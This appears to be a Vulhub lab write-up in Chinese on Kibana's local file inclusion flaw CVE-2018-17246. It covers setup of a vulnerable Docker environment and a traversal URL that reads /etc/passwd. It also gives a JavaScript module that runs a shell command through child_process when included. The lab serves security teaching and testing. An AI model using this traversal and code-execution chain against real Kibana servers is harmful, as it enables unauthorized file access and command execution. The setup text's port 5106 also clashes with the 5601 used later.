Kibana Local File Inclusion (CVE-2018-17246)
Kibana 為 Elassticsearch 設計的一款開源的視圖工具。其5.6.13到6.4.3之間的版本存在一處文件包含漏洞,通過這個漏洞攻擊者可以包含任意服務器上的文件。此時,如果攻擊者可以上傳一個文件到服務器任意位置,即可執行代碼。
參考鏈接:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
- https://www.anquanke.com/post/id/168291
環境搭建
啟動 Kibana 5.6.12 和 Elasticsearch 5.6.16 環境:
docker-compose up -d
環境啟動后,訪問http://your-ip:5106即可看到Kibana的默認首頁。
漏洞復現
直接訪問如下URL,來包含文件/etc/passwd:
http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
雖然在返回的數據包里只能查看到一個500的錯誤信息,但是我們通過執行docker-compose logs即可發現,/etc/passwd已經成功被包含:

所以,我們需要從其他途徑往服務器上上傳代碼,再進行包含從而執行任意命令。比如,我們將如下代碼上傳到服務器的/tmp/vulhub.js:
// docker-compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}
成功包含并返回命令執行結果:

Vulhub 文檔